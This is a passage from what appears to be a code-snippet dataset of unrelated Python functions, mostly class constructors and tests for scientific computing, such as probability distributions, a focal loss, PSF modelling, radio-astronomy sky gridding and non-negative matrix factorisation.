= 0.05\n # y_loc is the stimulus location of the output, -1 for fixation, (0,2 pi) for response\n self.y_loc = -np.ones((tdim, batch_size) , dtype=self.float_type)\n\n self._sigma_x = config['sigma_x']*np.sqrt(2/config['alpha'])","def __init__(self, gamma=2, alpha=0.25):\n super(FocalLoss, self).__init__()\n self.gamma = gamma\n self.alpha = alpha\n self.neg_pos_ratio = 7\n self.use_CrossEntropy = False","def assignDefaults(x, y, xmc, ymc, ell, w, ELL, W) :\n if len(xmc) == 0 :\n xmc = np.array([(np.min(x) + np.max(x)) / 2])\n if len(ymc) == 0 :\n ymc = np.array([(np.min(y) + np.max(y)) / 2])\n if not ell :\n ell = (np.max(y) - np.min(y)) / 2\n if not w :\n w = (np.max(x) - np.min(x)) / 2\n if not ELL :\n ELL = 3 * ell\n if not W :\n W = 3 * w\n \n return xmc, ymc, ell, w, ELL, W","def default_kernel_config(defn):\n return [('beam', {}),\n ('hypers',\n {\n 'alpha_a': 4.0,\n 'alpha_b': 2.0,\n 'gamma_a': 3.0, \n 'gamma_b': 6.0\n }\n )]","def __init__(self,x_size=32,y_size=32):\n\n self._shape = (x_size,y_size)\n self._offset = (0,0)\n self._chain_offset = 0 \n self._transform_function = None","def __init__(self, city_name, experiment_name, sizeX, sizeY,transparency=True):\n self.sizeX = 400\n self.sizeY = 400;","def __init__(self, config, xtdim, batch_size):\n self.float_type = 'float32' # This should be the default\n self.config = config\n self.dt = self.config['dt']\n\n self.n_input = self.config['n_input']\n self.n_output = self.config['n_output']\n\n self.batch_size = batch_size\n self.xtdim = xtdim\n\n # time major\n self.x = np.zeros((xtdim, batch_size, self.n_input), dtype=self.float_type)\n self.y = np.zeros((xtdim, batch_size, self.n_output), dtype=self.float_type)\n self.cost_mask = np.zeros((xtdim, batch_size, self.n_output), dtype=self.float_type)\n # strength of input noise\n self._sigma_x = config['sigma_x'] * math.sqrt(2./self.config['alpha'])\n\n if config['rule_name'] == 'timed_spatial_reproduction_broad_tuning' \\\n or config['rule_name'] == 'spatial_reproduction_broad_tuning' \\\n or config['rule_name'] == 'spatial_comparison_broad_tuning' \\\n or config['rule_name'] == 'spatial_change_detection_broad_tuning':\n self.n_guassianline = 32 + 12\n self.sd_gaussianline = 4.\n else:\n self.n_guassianline = 32\n self.sd_gaussianline = 2.\n\n self.pref_line_gaussian = np.arange(0, self.n_guassianline)","def __init__(self):\n super().__init__()\n self.low = 0.0\n self.high = 1.0\n self.alpha = 0.0\n self.beta = 0.0\n self.type = 'Beta'\n self.distType = 'Continuous'\n self.hasInfiniteBound = True\n self.compatibleQuadrature.append('Jacobi')\n self.compatibleQuadrature.append('CDF')\n self.preferredQuadrature = 'Jacobi'\n self.preferredPolynomials = 'Jacobi'","def __init__(self):\n self.edge_detection_type = None\n self.image_size = None\n self.visualization_dict = None\n\n self.clustering_eps = None\n self.clustering_min_sample = None\n self.mask_size = None\n self.n_random_points = None\n self.kernel_harris_corner_detector = None\n\n self.path_output = None\n self.path_summary = None\n self.dir_results = None\n self.dir_result_details = None\n self.file_name_input_image = None\n self.file_name_plane_masks = None\n self.file_name_planercnn_image = None\n\n '''\n Other (not loaded from config file)\n '''\n # Color pallet for visualization of masks\n self.color_pallet = [tuple([int(color[2] * 255), int(color[1] * 255), int(color[0] * 255)]) for color in\n sns.color_palette(\"bright\", 10)]","def __init__(self, low=0.0, alpha=0.0, beta=1.0):\n super().__init__()\n self.low = low\n self.alpha = alpha\n self.beta = beta\n self.type = 'Gamma'\n self.distType = 'Continuous'\n self.hasInfiniteBound = True\n self.compatibleQuadrature.append('Laguerre')\n self.compatibleQuadrature.append('CDF')\n self.preferredQuadrature = 'Laguerre'\n self.preferredPolynomials = 'Laguerre'","def __init__(self):\n super().__init__()\n self.type = 'UniformDiscrete'\n self.dimensionality = 1\n self.distType = 'Discrete'\n self.memory = True","def __init__(self):\n super().__init__()\n self.mapping = {}\n self.values = set()\n self.type = 'Categorical'\n self.dimensionality = 1\n self.distType = 'Discrete'\n self.isFloat = False","def __init__(self, genotypes, sample_pos, node_pos, edges, scale_snps=True): \n super().__init__(genotypes=genotypes,\n sample_pos=sample_pos,\n node_pos=node_pos,\n edges=edges,\n scale_snps=scale_snps)","def test_model_properties():\n # Use PSF with the size a function of color.\n # Note: This test is similar to test_color in test_pixel.py.\n\n pixel_scale = 0.3\n image = galsim.ImageF(1024,1024, scale=pixel_scale)\n\n # Draw stars in a grid so we know they don't overlap.\n x_list = []\n y_list = []\n color_list = []\n np_rng = np.random.RandomState(1234)\n rng = galsim.UniformDeviate(1234)\n for x in range(50,1000,100):\n for y in range(50,1000,100):\n # color is random between -1 and +1.\n color = np_rng.uniform(-1,1)\n # Add a +- 1 pixel offset to nominal position.\n xcen = x + np_rng.uniform(-1,1)\n ycen = y + np_rng.uniform(-1,1)\n T = 1.0 + 0.1 * color # T is linear in color.\n sigma = np.sqrt(T/2)\n star = galsim.Gaussian(sigma=sigma, flux=150.)\n b = galsim.BoundsI(x-16,x+16,y-16,y+16)\n star.drawImage(image=image[b], center=galsim.PositionD(xcen,ycen))\n x_list.append(xcen)\n y_list.append(ycen)\n color_list.append(color)\n\n noise_sigma = 0.1\n image.addNoise(galsim.GaussianNoise(sigma=noise_sigma, rng=rng))\n\n # Write out the image and catalog\n image_file = os.path.join('output','hsm_color_image.fits')\n image.write(image_file)\n dtype = [ ('x','f8'), ('y','f8'), ('color','f8') ]\n data = np.empty(len(x_list), dtype=dtype)\n data['x'] = x_list\n data['y'] = y_list\n data['color'] = color_list\n cat_file = os.path.join('output','pixel_color_cat.fits')\n fitsio.write(cat_file, data, clobber=True)\n\n psf_file = os.path.join('output','hsm_color.piff')\n hsm1_file = os.path.join('output','hsm_color.fits')\n hsm2_file = os.path.join('output','hsm_color_05.fits')\n config = {\n 'input' : {\n 'image_file_name' : image_file,\n 'cat_file_name' : cat_file,\n 'x_col' : 'x',\n 'y_col' : 'y',\n 'property_cols' : ['color'],\n 'noise' : noise_sigma**2,\n 'stamp_size' : 32,\n },\n 'output' : {\n 'file_name' : psf_file,\n 'stats': [\n {\n 'type': 'HSMCatalog',\n 'file_name': hsm1_file,\n },\n {\n 'type': 'HSMCatalog',\n 'file_name': hsm2_file,\n 'model_properties': {'color' : 0.5},\n },\n ],\n },\n 'psf' : {\n 'model' : {\n 'type' : 'PixelGrid',\n 'scale' : pixel_scale,\n 'size' : 15\n },\n 'interp' : {\n 'type' : 'BasisPolynomial',\n 'order' : [1, 1, 1],\n 'keys': ['u', 'v', 'color'],\n },\n },\n }\n if __name__ == '__main__':\n config['verbose'] = 2\n else:\n config['verbose'] = 0\n\n piff.piffify(config)\n hsm1 = fitsio.read(hsm1_file)\n\n # This run measures each star at its own color\n # So there should be no slope in T_data-T_model vs color\n color = hsm1['color']\n T_model = hsm1['T_model']\n T_data = hsm1['T_data']\n m, b = np.polyfit(color, T_data-T_model, 1)\n print()\n print('Not using model_properties:')\n print('dT vs color: m, b = ',m,b)\n assert np.abs(m) < 1.e-3\n assert np.abs(b) < 1.e-3\n\n # But the raw data does have a significant slope.\n m, b = np.polyfit(color, T_data, 1)\n print('T_data vs color: m, b = ',m,b)\n assert np.abs(m-0.1) < 1.e-3\n\n # Likewise the model (which follows from the above two tests, but check anyway):\n m, b = np.polyfit(color, T_model, 1)\n print('T_model vs color: m, b = ',m,b)\n assert np.abs(m-0.1) < 1.e-3\n\n # Check the other output file, which uses model_properties\n hsm2 = fitsio.read(hsm2_file)\n color = hsm2['color']\n T_model = hsm2['T_model']\n T_data = hsm2['T_data']\n\n # Now the model should all have a size close to T(color=0.5)\n print()\n print('Using model_properties:')\n print('T_model = ',np.mean(T_model),' +- ',np.std(T_model))\n assert np.isclose(np.mean(T_model), 1 + 0.1 * 0.5, rtol=0.02)\n assert np.std(T_model) < 0.005\n m, b = np.polyfit(color, T_model, 1)\n print('T_model vs color: m, b = ',m,b)\n assert np.abs(m) < 2.e-3\n\n # But the data still covers the whole range\n print('T_data = ',np.mean(T_data),' +- ',np.std(T_data))\n assert np.isclose(np.mean(T_data), 1, rtol=0.03)\n assert np.std(T_data) > 0.05\n m, b = np.polyfit(color, T_data, 1)\n print('T_data vs color: m, b = ',m,b)\n assert np.abs(m-0.1) < 2.e-3\n\n # Finally, T_data - T_model should show the input slope of 0.1\n m, b = np.polyfit(color, T_data-T_model, 1)\n print('dT vs color: m, b = ',m,b)\n assert np.abs(m-0.1) < 2.e-3","def __init__(self):\n super().__init__()\n self.dimensionality = 1\n self.distType = 'Continuous'","def __init__(self,in_range,mean,std,npoints=200):\n x_p = np.linspace(in_range[0],in_range[1],npoints,endpoint=True)\n y_p = np.zeros(npoints)\n yc = 0\n stdinv = 1.0/std\n stdinvsq = stdinv**2\n normalc = stdinv*(1.0/np.sqrt(np.pi))\n for x in x_p:\n expon = -(x - mean)**2 * (0.5*stdinvsq)\n y = normalc * np.exp(expon)\n y_p[yc]=y\n yc+=1\n self.x = x_p\n self.y = y_p\n self.sigma = std\n self.mean = mean\n self._normconst = normalc\n self.upper = in_range[1]\n self.lower = in_range[0]\n self._dx = x_p[1]-x_p[0]\n self.npoints = npoints\n return","def __init__(self, height, width):\n # number of keypoint kind\n self.kpn = 4\n # max output object in one image\n self.maxDet = 20\n # object detect threshold, confidence\n self.obj_thr = 0.5\n # peak detect threshold, unit pixel\n self.peak_thr = 0.5\n # see threshold\n self.see_thr = 0.8\n # peak close threshold, unit pixel\n self.close_thr = 1.0\n self.height = height\n self.width = width\n # assit array\n self.x_array = np.tile(np.arange(self.width), (self.height, 1))\n self.y_array = np.tile(np.arange(self.height).reshape(-1, 1),\n (1, self.width))","def __init__(self, f, xmin, xmax, ymin, ymax, nt, interval, src, p = 1, q = 1.5, R = 50):\n\n self.f = f\n self.xmin = xmin\n self.xmax = xmax\n self.ymin = ymin\n self.ymax = ymax\n self.nt = nt\n self.interval = interval\n self.ds=const.c/(20*f) #spacial stepsize, according to stability criterion\n self.dt=self.ds/(const.c*math.sqrt(2)) \n self.nx = int((xmax-xmin)/self.ds) \n self.ny = int((ymax-ymin)/self.ds)\n self.p = p\n self.q = q\n self.source = Source(self.xmin, self.xmax, self.ymin, self.ymax, self.nx, self.ny)\n self.actualsource = self.source.src(src)\n self.R = R","def __init__(self):\n super().__init__()\n self.dataFilename = None\n self.functionType = None\n self.type = 'Custom1D'\n self.functionID = None\n self.variableID = None\n self.dimensionality = 1\n self.distType = 'Continuous'\n # Scipy.interpolate.UnivariateSpline is used\n self.k = 4 # Degree of the smoothing spline, Must be <=5\n self.s = 0 # Positive smoothing factor used to choose the number of knots\n # Default 0, indicates spline will interpolate through all data points","def set_reg_param(training_data, cv_data, alpha_min, alpha_max):\r\n \r\n f = open('alpha.txt', 'w')\r\n \r\n alph = alpha_min\r\n min_alpha = alpha_min # This is the value of alpha in our range that gives minimum for cv data\r\n alpha_largest = alpha_min # Learning is not generally done at alpha_min, this tracks larget alpha\r\n while alph < alpha_max:\r\n \"\"\" Learn for this parameter \"\"\"\r\n clf = linear_model.Ridge (alpha=alph, fit_intercept=False)\r\n clf.fit(training_data.X, training_data.y)\r\n \r\n \"\"\" Get prediction for this parameter \"\"\"\r\n predict_data = clf.predict(training_data.X)\r\n predict_cv = clf.predict(cv_data.X)\r\n \r\n \"\"\" Caculate the differences from actual data for training and cv data\"\"\"\r\n diff_training = (1.0/training_data.m) * np.linalg.norm(predict_data - training_data.y)\r\n diff_cv = (1.0/cv_data.m) * np.linalg.norm(predict_cv - cv_data.y)\r\n \r\n \"\"\" Write out the values for plotting. Do appropriate work to determine min_val_alpha \"\"\"\r\n f.write(str(alph) + \" \" + str(diff_training) + \" \" + str(diff_cv) + \"\\n\")\r\n if alph == alpha_min:\r\n min_diff = diff_cv # Just setting default value for first value of alph \r\n min_alpha = alpha_min\r\n if diff_cv < min_diff:\r\n \"\"\" We have a new minimum so value and alph must be recored \"\"\"\r\n min_diff = diff_cv\r\n min_alpha = alph\r\n alpha_largest = alph # Keep track of largest alpha used\r\n alph = alph * 1.5 # increment alph\r\n f.close()\r\n \r\n \"\"\" Loop is now complete. If min_value_alpha is not alpha_min or alpha_max, return flag of 0\r\n else return -1 or 1 so min or max can be adjusted and loop completed again \"\"\"\r\n if abs(min_alpha - alpha_min) < alpha_min/10.0:\r\n flag = -1 # Local minimum is less than alpha_min so return -1 \r\n elif abs(min_alpha - alpha_largest) < alpha_min/10.0:\r\n flag = 1 # Local minimum is greater than alpha_max so return 1 \r\n else:\r\n flag = 0 # Local minimum is in range so return 0 \r\n \r\n return min_alpha, flag","def main():\n dpi = 1\n dpi = 2\n width = int(360)\n height = int(130)\n mywidth = int(width*dpi)\n myheight = int(height*dpi)\n FWHM = 7.5 # degrees\n FWHM = 10.0 # degrees\n FWHM = 5.0 # degrees\n FWHM = 3.0 # degrees\n FWHM = 1.0 # degrees\n weight = 1.\n\n nargs = len(sys.argv)\n if nargs < 2:\n print('GR: GRid Observations of integrated intensity produced by the T Command')\n print('GR produces fits images for each of the horns used for the observations.')\n print('For observations at the same coordinates, the ratios of intensities are also produced.')\n print('The FITS format files require header information, which is copied from the')\n print('Cold Load File provided by the user')\n print('GR RA|GAL <cold file name> <savefile1> [<savefile2> ... <savefileN>]')\n print(\"\")\n print('Glen Langston, National Science Foundation -- 20 May 12')\n exit()\n\n gridtype = sys.argv[1]\n gridtype = gridtype.upper()\n print('Grid Type: ', gridtype)\n\n # enable having ra going from 24 to 0 hours == 360 to 0 degrees\n xsign = 1.\n xoffset = 0.\n if gridtype == 'RA':\n xmin = 0.\n xmax = 360.\n ymin = -40.\n ymax = 90.\n maptype = 'RA'\n elif gridtype == '-RA':\n xmin = 0.\n xmax = 360.\n ymin = -40.\n ymax = 90.\n xsign = -1.\n xoffset = 360. # when x = 360. should be at zero.\n maptype = 'RA'\n elif gridtype == '-EL':\n xmin = 0.\n xmax = 360.\n ymin = 0.\n ymax = 90.\n xsign = -1.\n xoffset = 360. # when x = 360. should be at zero.\n maptype = 'AZEL'\n elif gridtype == 'RA0':\n xmin = 0.\n xmax = 360.\n ymin = -41.\n ymax = 89.\n xsign = -1.\n xoffset = 180. # when x = 360. should be at zero.\n gridtype = 'RA'\n elif gridtype == 'GAL':\n xmin = -180.\n xmax = 180.\n ymin = -90.\n ymax = 90.\n maptype = 'GAL'\n\n if gridtype != 'RA' and gridtype != 'GAL' and gridtype != '-RA' and gridtype != \"RA0\":\n print('Error parsing grid type: ', gridtype)\n print('1st argument should be either RA, -RA or GAL')\n exit()\n\n rs = radioastronomy.Spectrum()\n\n if doRatio: \n #create the grid with map parameters\n grid1 = GridClass.Grid(xmin=xmin, xmax=xmax, ymin=ymin, ymax=ymax, width=width, \\\n height=height, dpi=dpi, FWHM=FWHM, \\\n projection=\"-CAR\", gridtype=maptype)\n grid2 = GridClass.Grid(xmin=xmin, xmax=xmax, ymin=ymin, ymax=ymax, width=width, \\\n height=height, dpi=dpi, FWHM=FWHM, \\\n projection=\"-CAR\", gridtype=maptype)\n grid3 = GridClass.Grid(xmin=xmin, xmax=xmax, ymin=ymin, ymax=ymax, width=width, \\\n height=height, dpi=dpi, FWHM=FWHM, \\\n projection=\"-CAR\", gridtype=maptype)\n grid4 = GridClass.Grid(xmin=xmin, xmax=xmax, ymin=ymin, ymax=ymax, width=width, \\\n height=height, dpi=dpi, FWHM=FWHM, \\\n projection=\"-CAR\", gridtype=maptype)\n # put each telescope in a different grid\n grids = [grid1, grid2, grid3, grid4]\n\n gridall = GridClass.Grid(xmin=xmin, xmax=xmax, ymin=ymin, ymax=ymax, width=width, \\\n height=height, dpi=dpi, FWHM=FWHM, \\\n projection=\"-CAR\", gridtype=maptype)\n \n\n projection = \"-AIT\"\n# coldfile \n coldfile = sys.argv[2]\n# get telescope geographic location etc\n print(\"Reading Observing parameters from: %s\" % (coldfile))\n rs.read_spec_ast(coldfile)\n print(\"Observer: %s \" % (rs.observer))\n\n# first read through all data and find hot load\n names = sys.argv[3:]\n names = sorted(names)\n\n firsttime = \"\"\n lasttime = \"\"\n count = 0\n # setup grid indicies so that cpuIndex goes to the correct grid\n # This assumes telescopes 2,3,4,5 are being used] \n gridIndex = [0,0,0,1,2,3]\n # for all save Files to Grid\n for filename in names:\n print(\"File: %s\" % (filename))\n f = open(filename)\n\n date = \"Unknown\"\n while date != \"\":\n date, time, cpuIndex, telaz, telel, tSys, tRx, tRms, tint, KperC, tSourcemax, velSource, dV, tVSum, tVSumRms, tSumKmSec, dTSumKmSec, gainFactor = gainfactor.readSaveValues( f)\n dlen = len(date)\n if dlen < 1:\n break\n if date[0] == \"#\":\n continue\n # else not a comment process the line\n count = count + 1\n isodate = \"20\"+date+\"T\"+time\n# print(\"DateTime: %s\" % (isodate))\n rs.utc = datetime.datetime.strptime(isodate,\"%Y-%m-%dT%H:%M:%S\")\n# print(\"Utc: %s\" % (rs.utc))\n rs.telaz = telaz\n rs.telel = telel\n rs.azel2radec()\n\n ra = rs.ra\n dec = rs.dec\n lon = rs.gallon\n lat = rs.gallat\n tsum = tSumKmSec\n tsdv = dTSumKmSec\n tmax = tSourcemax\n vave = tVSum\n vsdv = tVSumRms\n if firsttime == \"\":\n firsttime = date\n else:\n lasttime = date\n\n# if vave > -100. and vave < 100:\n# mygrid.convolve( lon, lat, vave, 1.)\n iGrid = gridIndex[cpuIndex]\n gainCorr = telescopefactors[iGrid]\n tsum = tsum * gainCorr\n if gridtype == 'RA':\n if doRatio:\n grids[iGrid].convolve(ra, dec, tsum, weight)\n gridall.convolve( ra, dec, tsum, weight)\n elif gridtype == '-RA':\n x = (ra*xsign) + xoffset\n if doRatio:\n grids[iGrid].convolve(x, dec, tsum, weight)\n gridall.convolve( x, dec, tsum, weight)\n elif gridtype == 'RA0':\n x = (ra*xsign) + xoffset\n if x < 0:\n x = x + xmax\n elif x > xmax:\n x = x - xmax\n if doRatio:\n grids[iGrid].convolve(x, dec, tsum, weight)\n gridall.convolve( x, dec, tsum, weight)\n else:\n if doRatio:\n grids[iGrid].convolve(lon, lat, tsum, weight)\n gridall.convolve( lon, lat, tsum, weight)\n\n if count == 0:\n print('Convolving Coordinates: ', ra, dec, lon, lat)\n print('Convolving Intensities: ', tsum, tsdv, vave, vsdv)\n print('Convolvign Parameters : ', n, time)\n count = count + 1\n # end reading all lines in save file\n f.close()\n\n # normalize each of the gridded images\n if doRatio:\n grids[0].normalize()\n grids[1].normalize()\n grids[2].normalize()\n grids[3].normalize()\n gridall.normalize()\n# mygrid.check()\n# zmin = -1000.\n# zmax = 3000.\n# limit grid intensities for plotting\n# mygrid.set_ij( 0, 0, zmax, 1.)\n# mygrid.set_ij( 1, 1, zmin, 1.)\n# mygrid.limit(zmin, zmax)\n\n subplots = False\n\n if subplots:\n fig, ax = plt.subplots(figsize=(myheight, mywidth), dpi=dpi)\n\n if gridtype == 'RA':\n cax = fig.add_axes([-180, 180], [-90, 90])\n else:\n cax = fig.add_axes([0, 24], [-90, 90])\n\n cbar = fig.colorbar(cax, ticks=[zmin, zmax], orientation='horizontal')\n cbar.ax.set_yticklabels([str(zmin), str(zmax)])\n\n ax.set_title(\"Citizen Science: Horn observations of our Galaxy\")\n else:\n#y_ticks = ymin + (ymax-ymin)*ticks/myheight\n\n ticks = np.arange(0, mywidth, 30*dpi)\n x_ticks = xmin + ((xmax-xmin)*ticks/mywidth)\n\n plt.imshow(gridall.image, interpolation='nearest', cmap=plt.get_cmap('jet'))\n\n if firsttime != lasttime:\n plt.title(\"Citizen Science: Observing our Galaxy: %s to %s\" % (firsttime, lasttime))\n else:\n plt.title(\"Citizen Science: Observing our Galaxy: %s\" % (firsttime))\n if gridtype == 'RA':\n plt.xlabel(\"Right Ascension (hours)\")\n plt.ylabel(\"Declination (degrees)\")\n labels = ticks/(mywidth/24)\n yticks = np.arange(0, myheight, 15*dpi)\n elif gridtype == '-RA':\n plt.xlabel(\"Right Ascension (hours)\")\n plt.ylabel(\"Declination (degrees)\")\n labels = 24 - (ticks/(mywidth/24))\n labels[0] = 0\n labels[0] = 24\n yticks = np.arange(0, myheight, 15*dpi)\n elif gridtype == '-EL':\n plt.xlabel(\"Right Ascension (hours)\")\n plt.ylabel(\"Elevation (degrees)\")\n labels = 24 - (ticks/(mywidth/24))\n labels[0] = 0\n labels[0] = 24\n yticks = np.arange(0, myheight, 15*dpi)\n elif gridtype == 'RA0': # put 0 hours in middle of plot\n plt.xlabel(\"Right Ascension (hours)\")\n plt.ylabel(\"Declination (degrees)\")\n labels = 12 - (ticks/(mywidth/24))\n nlabels = len(labels)\n for iii in range(nlabels):\n if labels[iii] < 0:\n labels[iii] = 24 + labels[iii]\n if labels[iii] == 24:\n labels[iii] = 0\n yticks = np.arange(0, myheight, 15*dpi)\n else:\n yticks = np.arange(0, myheight, 30*dpi)\n ticks = np.arange(0, mywidth, 30*dpi)\n x_ticks = xmin + (xmax-xmin)*ticks/mywidth\n labels = x_ticks\n plt.xlabel(\"Galactic Longitude (degrees)\")\n plt.ylabel(\"Galactic Latitude (degrees)\")\n # wnat an integer list of labels\n# slabels = str(labels)\n print(ticks, labels)\n y_ticks = ymax - (ymax-ymin)*yticks/myheight\n plt.yticks(yticks, y_ticks)\n plt.xticks(ticks, labels, rotation='horizontal')\n plt.colorbar()\n\n crval2 = (xmin + xmax)/2.\n crval1 = (ymin + ymax)/2.\n cdelt1 = (-1./float(dpi)) - .001\n cdelt2 = (1./float(dpi)) + .001\n if doRatio:\n# now show eacsh of the images\n for iGrid in range(4):\n imagetemp = copy.deepcopy(grids[iGrid].image)\n imagetemp2 = copy.deepcopy(grids[iGrid].image)\n kkk = myheight - 1\n for jjj in range(myheight):\n imagetemp[:][kkk] = imagetemp2[:][jjj]\n kkk = kkk - 1\n grids[iGrid].image = imagetemp\n writeFitsImage( rs, iGrid+2, grids[iGrid], projection)\n\n # put each telescope in a different grid\n ratio1 = copy.deepcopy(grid1)\n ratio2 = copy.deepcopy(grid1)\n ratio3 = copy.deepcopy(grid1)\n gratios = [ratio1, ratio2, ratio3]\n ratios = np.zeros(3)\n rmss = np.zeros(3)\n\n jGrid = 3\n for iGrid in range(3):\n print(\"Gain Ratios for Telescopes T%d and T%d\" % (iGrid+2, jGrid+2))\n ratio, rms, aratio = gridratio(grids[iGrid], grids[jGrid])\n ratios[iGrid] = ratio\n rmss[iGrid] = rms\n writeFitsImage( rs, iGrid+2, aratio, projection)\n \n writeFitsImage( rs, 0, gridall, projection)\n plt.show()","def __init__(self, calcGrad, calcCost, input, alpha = 0.01):\n \n\tVisualizer.__init__(self, calcGrad, calcCost, input)\n\n\tself.alpha = alpha","def __init__(self, gridsize = (11,11), startPrey = (0,0), startPredator = (5,5)):\n\t\tself.predator = startPredator;\n\t\tself.prey = startPrey;\n\t\tself.gridsize = gridsize;","def __init__(self, alpha, beta, gamma, discount_factors, y_scale,\n unrestricted_weights=None, discounting=None, warmglow_type=\"constant\"):\n self.attr = dict()\n self.attr['y_scale'] = y_scale # weight on utility from charity euro\n self.attr['alpha'] = alpha # warm glow parameter\n self.attr['gamma'] = gamma # correlation aversion\n self.attr['beta'] = beta # risk aversion for self and charity euro\n self.attr[\"warmglow_type\"] = warmglow_type\n\n np.testing.assert_equal(warmglow_type in [\"constant\", \"linear\"], True)\n\n if discounting is not None:\n # Implement exponential discounting or hyperbolic discounting\n np.testing.assert_equal(discounting in ['exponential', 'hyperbolic'], True)\n\n if discounting in ['hyperbolic']:\n df_beta = discount_factors[0]\n df_delta = discount_factors[1]\n\n new_dfx = {\n t: (df_beta * df_delta ** t if t > 0.0 else 1) for t in discount_factors.keys()\n }\n elif discounting in ['exponential']:\n df_delta = discount_factors[0]\n new_dfx = {t: (df_delta ** t if t > 0.0 else 1) for t in discount_factors.keys()}\n self.attr['discount_factors'] = new_dfx\n else:\n # Implement nonparametric discounting.\n self.attr['discount_factors'] = discount_factors\n\n # Optional argument: nonparametric weight on y_t in the CES function.\n if unrestricted_weights is None:\n df = self.attr['discount_factors']\n y_weights = {t: y_scale for t, d_t in df.items()}\n self.attr['y_weights'] = y_weights\n else:\n # Nonparametric weight: no g() function applied in this case.\n self.attr['y_weights'] = unrestricted_weights\n\n self._check_attributes_warmglow = partial(check_attributes_warmglow, self)\n self._check_attributes_warmglow()","def scale(self):","def __init__(self, folder):\n print \"folder passed is \", folder\n self.folder = folder\n self.geometry = gf.geometry(self.folder)\n self.elements = gf.dictionary_set()\n self.area = np.zeros(shape = (8))\n self.Vol = (self.geometry.properties['span_number']*(self.geometry.properties['span_width']*\n self.geometry.properties['span_height'] + self.geometry.properties['cover_height']\n *self.geometry.properties['span_width']/2))\n self.F = np.zeros(shape = (8, 8))\n of.view_factor(self.geometry, self.F, self.area, self.Vol)\n tran = [self.geometry.properties['tra_cover_out'],0.0,0.0,\n self.geometry.properties['tra_sidewall_out'],\n self.geometry.properties['tra_cover_in'],\n self.geometry.properties['tra_sidewall_in'],0.0,0.0]\n emi = [self.geometry.properties['emi_cover_out'],1.0,1.0,\n self.geometry.properties['emi_sidewall_out'],\n self.geometry.properties['emi_cover_in'],\n self.geometry.properties['emi_sidewall_in'],1.0,1.0] \n self.tr, self.em, self.re = of.optictal_prop(tran,emi)\n if ((self.tr + self.em).any() > 1.0):\n print \"error in optical properties\"\n self.T = np.zeros(shape = (2,10))\n self.RH = np.zeros(shape = (2,10))\n # 8 inside,9 outside \n self.qcond = np.zeros(shape = (2,8))\n self.qconv = np.zeros(shape = (2,8))\n self.qrad = np.zeros(shape = (2,8))\n self.j = np.zeros(shape = (2,8))\n self.g = np.zeros(shape = (2,8))\n self.alpha = np.zeros(shape = (2,8))\n deltaT = 300\n RH_in = 0.6\n fg.set_initial_conditions(self.geometry.properties['t_air_inside'],\n 278,\n RH_in,self.T,self.RH , self.geometry.properties['t_air'],self.g,\n self.geometry.properties['sky_temp'])\n self.T, self.j, self.g, self.alpha, self.qrad, self.qconv = fg.solver_T(self.T,self.qrad,self.qconv,self.alpha,self.j,self.g,self.em,self.tr,\n self.geometry.properties['wind_speed'],\n self.F,self.geometry.properties['heat_flux'],1,1.0,self.area,\n self.geometry.properties['rho'],self.geometry.properties['cp'],\n self.Vol,self.geometry.properties['degree_window'],deltaT)","def __init__(self, data):\n self.data = data\n\n self.DT = self.data['DT']\n self.N_T = int(self.data['N_T'])\n\n self.xr = self.data['XR'][0].astype('float32')\n self.yr = self.data['YR'][0].astype('float32')\n self.S_gen = self.data['S_gen'].astype('float32')\n self.Var = self.data['Var'][0].astype('float32')\n\n self.blur_sdev = float(np.sqrt(0.5))\n # float(np.sqrt(self.Var)) / self.data['ds']\n\n self.N_itr = self.data['N_itr']\n # self.DC_gen = self.data['DC_gen']\n # self.DC_infer = self.data['DC_infer']\n self.L_I = self.data['L_I']\n self.LAMBDA = self.data['lamb']\n self.R = self.data['R']\n self.L_N = self.data['L_N']\n\n # Convert retinal positions to grid\n xs = self.data['XS'].astype('float32')\n ys = self.data['YS'].astype('float32')\n\n xs, ys = np.meshgrid(xs, ys)\n self.xs = xs.ravel()\n self.ys = ys.ravel()\n\n self.N_itr = self.data['N_itr']\n\n try:\n self.s_range = self.data['s_range']\n except:\n self.s_range = 'sym' # 'pos'\n\n # Dictionary to store image estimates (high res)\n self.image_ests = {}","def test_plot(arg):\n source_data = data.Biofile(arg)\n sample = source_data.get_header()\n feature = source_data.get_index()\n sample_size, feature_size = 106, 12042\n sample = sample[:sample_size]\n #xshape = (106 12042)\n print(sample, feature)\n X = source_data.get_matrix().T[:sample_size, :feature_size]\n mx = 100\n labs = ['rbf','poly','sigmoid']\n semi_r = util.kernel_non_negative_factorization(X.T,n_components=2, max_iter = mx, parameter = 100) #rbf 0.5\n semi_r_con = util.kernel_non_negative_factorization(X.T,n_components=2, max_iter = mx, kernel='poly', parameter= 0.5)#ploy 2\n semi_r_con1 = util.kernel_non_negative_factorization(X.T,n_components=2, max_iter=mx, kernel='sigmoid', parameter= 0.1) #sigmoid 0.5\n semi_r_con2 = util.convex_non_negative_factorization(X.T, max_iter=mx, n_components=2)\n\n #semi_r = util.semi_non_negative_factorization_with_straint(X.T, max_iter = mx,n_components=2 ,initialization= 'Kmeans',alpha = 0.01, beta = 0.01)\n #semi_r_con = util.semi_non_negative_factorization_with_straint(X.T, max_iter=mx,n_components=2 ,initialization= 'Kmeans',alpha= 10, beta = 10)\n #semi_r_con1 = util.semi_non_negative_factorization_with_straint(X.T, max_iter=mx,n_components=2, initialization= 'Kmeans',alpha= 0, beta = 10)\n #semi_r_con2 = util.semi_non_negative_factorization_with_straint(X.T, max_iter=mx,n_components=2, initialization= 'Kmeans',alpha= 10, beta = 0)\n #convex_r_con = util.convex_non_negative_factorization(X.T, n_components=2, max_iter=mx)\n\n G, G1, G2, G3 = semi_r[1], semi_r_con[1], semi_r_con1[1], semi_r_con2[1]\n result, result1, result2, result3 = semi_r[2], semi_r_con[2], semi_r_con1[2], semi_r_con2[2]\n x = [i for i in range(mx)]\n # plot the losses function\n plt.title(\"losses function of {}\".format(arg[:-4]))\n plt.xlabel(\"iteration times\")\n plt.ylabel(\"losses\")\n\n plt.plot(x, result[:mx], 'r', marker = '.', label = 'kNMF({})'.format(labs[0]))\n plt.plot(x, result1[:mx], 'b', marker ='.' , label = 'kNMF({})'.format(labs[1]))\n plt.plot(x, result2[:mx], 'c', marker ='.', label = 'kNMF({})'.format(labs[2]))\n plt.plot(x, result3[:mx], 'm', marker ='.', label = 'cvxnmf')\n \"\"\"\n plt.plot(x, result[:mx], 'r', marker = '.', label = 'sNMF')\n plt.plot(x, result1[:mx], 'b', marker ='.' , label = 'sNMF(0.5,0.5)')\n plt.plot(x, result2[:mx], 'c', marker ='.', label = 'sNMF(0,0.5)')\n plt.plot(x, result3[:mx], 'm', marker 